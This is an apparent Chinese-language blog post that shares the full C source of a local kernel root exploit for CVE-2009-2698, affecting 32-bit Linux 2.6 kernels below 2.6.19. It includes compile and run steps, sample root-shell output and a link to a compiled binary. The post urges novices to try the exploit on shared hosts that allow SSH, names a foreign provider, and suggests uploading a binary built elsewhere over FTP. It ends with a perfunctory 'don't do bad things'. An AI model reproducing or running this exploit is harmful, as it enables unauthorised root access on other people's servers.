前段时间,爆出一个linux用户提升普通用户权限到root权限的漏洞,很多小白开始试了,进ssh,然后./a,咋什么都没有呢?殊不知,哪有这么简单,还是需要代码的。。本文的末尾提供了代码(代码版权归原作者所有:p0c73n1(at)gmail(dot)com),也提供了编译后的执行程序。gcc版本是gcc (GCC) 4.1.1 20070105。还要注意,此漏洞需要在Linux kernel 2.6 < 2.6.19 (32bit)下才能测试通过,目前还没有好的补救办法。
国内极少数有主机商提供ssh登入权限,所以,机会不多,但是国外有很多都提供,例如DreamHost等等。。如果空间没有使用gcc的权限,可以找对应版本的gcc编译之后,ftp上去亦可。。编译命令是: gcc -o t t.c,然后执行/path/to/t 即可。。如:
[leekooqi@icnote ~]$ ./t
sh-3.1# id
uid=0(root) gid=0(root) groups=512(leekooqi)
sh-3.1#
你会发现,你已经拥有root权限了,可以为所欲为了。。但是,记住,不要干坏事!!
原文件如下:
** ** 0x82-CVE-2009-2698 ** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit ** ** Tested White Box 4(2.6.9-5.ELsmp), ** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp), ** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5), ** Fedora Core 6(2.6.18-1.2798.fc6). ** ** -- ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** Thankful to them. ** ** -- ** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698 ** sh-3.1# id ** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t ** sh-3.1# ** -- ** exploit by <p0c73n1(at)gmail(dot)com>. ** */ #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys socket.h=""> #include <sys mman.h=""> #include <fcntl.h> #include <sys personality.h=""> unsigned int uid, gid; void get_root_uid(unsigned *task) { unsigned *addr=task; while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){ addr++; } addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */ addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */ return; } void exploit(); void kernel_code() { asm("exploit:\n" "push %eax\n" "movl $0xfffff000,%eax\n" "andl %esp,%eax\n" "pushl (%eax)\n" "call get_root_uid\n" "addl $4,%esp\n" "popl %eax\n"); return; } void *kernel=kernel_code; int main(int argc, char **argv) { int fd=0; char buf[1024]; struct sockaddr x0x; void *zero_page; uid=getuid(); gid=getgid(); if(uid==0){ fprintf(stderr,"[-] check ur uid\n"); return -1; } if(personality(0xffffffff)==PER_SVR4){ if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){ perror("[-] mprotect()"); return -1; } } else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){ perror("[-] mmap()"); return -1; } *(unsigned long *)0x0=0x90909090; *(char *)0x00000004=0x90; /* +1 */ *(char *)0x00000005=0xff; *(char *)0x00000006=0x25; *(unsigned long *)0x00000007=(unsigned long)&kernel; *(char *)0x0000000b=0xc3; if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){ perror("[-] socket()"); return -1; } x0x.sa_family=AF_UNSPEC; memset(x0x.sa_data,0x82,14); memset((char *)buf,0,sizeof(buf)); sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x)); sendto(fd,buf,1024,0,&x0x,sizeof(x0x)); if(getuid()==uid){ printf("[-] exploit failed, try again\n"); return -1; } close(fd); execl("/bin/sh","sh","-i",NULL); return 0; }
编译后的文件:
t.rar
(at)gmail(dot)com>
rhel5.4中不行啊,内核2.6.18